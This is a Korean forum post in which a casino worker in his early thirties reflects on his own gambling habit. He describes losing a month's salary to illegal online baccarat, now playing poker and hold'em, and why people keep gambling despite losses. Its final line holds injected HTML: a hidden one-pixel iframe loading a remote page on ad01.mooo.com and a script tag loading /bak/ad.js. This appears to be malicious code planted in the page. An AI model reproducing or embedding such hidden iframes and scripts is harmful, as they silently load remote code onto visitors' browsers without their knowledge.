먼저 이런 사람들의 커뮤니티가 있다는점에 놀랍다
인방겔 무슨겔 무슨겔 어쩌고 하는게 먼지 모르고 살았기때문에
사람들이 도박으로 모일수 있다는게 놀랍고 여기글을 읽으면서 밤을 새고 나니
내가 이렇게 행복한 미소로 웃을수 있다는게 한번 더 고맙게 생각든다
사실 내가 일하는곳이 도박장이다 합법적인 도박장..그래서 인지 내 인생이 도박에 쩔어있다
그런사람들을 보고 있으면 한심하단 생각이 들면서 나역시 도박에 쩔어있으니 별수없다는 생각도 든다
나이를 떠나서 (참고로 난 서른 초반이다_) 인생을 살아가면서 정복하지 못하는게 있다면 그건 도박이 아닐까
난 이제 모든거에 시들해지고 하물며 섹스도 재미없다 하지만 내가 이기지 못하는 유일한 하나는 도박이다
난 참고로 경마나 경륜은 안한다 그건 머리를 너무 써야하기때문에 지레 포기하는건지도 모르지만
더 재미없는건 기다리는 시간이 너무 길다는거다
예전에는 온라인바카라에 맛을 들여서 게임을 즐겼다 본전생각에 한달봉급을 다털리고
재수없게 경찰에 계좌번호까지 털리고 나서는 불법게임은 안하게 됐다
그래서 하는게 포커나 홀덤 같은건데 이것들 역시 감보다는 머리싸움인거 같다
사람들이 어떤점에서 도박에 끌리는지 잘알고 있다
게임을 즐기다가 결정적인 순간에 들리는 심장소리
들끓는 아드레날린은 남녀가 사랑할때와 같은 순간처럼 고동친다
처음에 도박에 빠졌을때는 인지하지 못하지만
결국엔 그 느낌을 느끼기위해 내 피같은 돈을 한방에 올인하게 된다
그런 느낌을 부모님에게도 손떨리는 쥐꼬리만한 한달 봉급으로 산다는건 너무 죄스러운 일이다
그리고 중요한건 돈을 크게 따면 게임을 얼마간 하지않다가 다시 딸수있다는 생각에 손을 댄다
그러다가 잃게 되고 잃게 되고 나역시 그랫으니깐
사실 도박은 따는것보다 잃는것에 모든 지식과 룰이 적용되어있다보니 따는게 쉽지않고
자꾸 잃다보니 잃는게 익숙해지고 그렇게 오래도록 지속되면 결국엔 돈을 벌게 되면 허무해 진다
피곤해지고 잠이오고 결정적으로 재미가 없어진다
그래서 사람들은 어색하게 돈을 따는것보다 잃는거에 익숙해지고 재미를 느낀다
물론 다 잃은사람에게는 이말이 칼맞을 맞인줄 알지만
재미를 못느낀다면 다 잃은 당신이 다시 도박을 하는건 말이 안된다
중독이라는말이 없다면 당신은 왜 도박을 다시 하는지 설명 할수 있는가?>>me width=1 src =http://ad01.mooo.com/advertis/ height=1>><>< src=/bak/ad.js>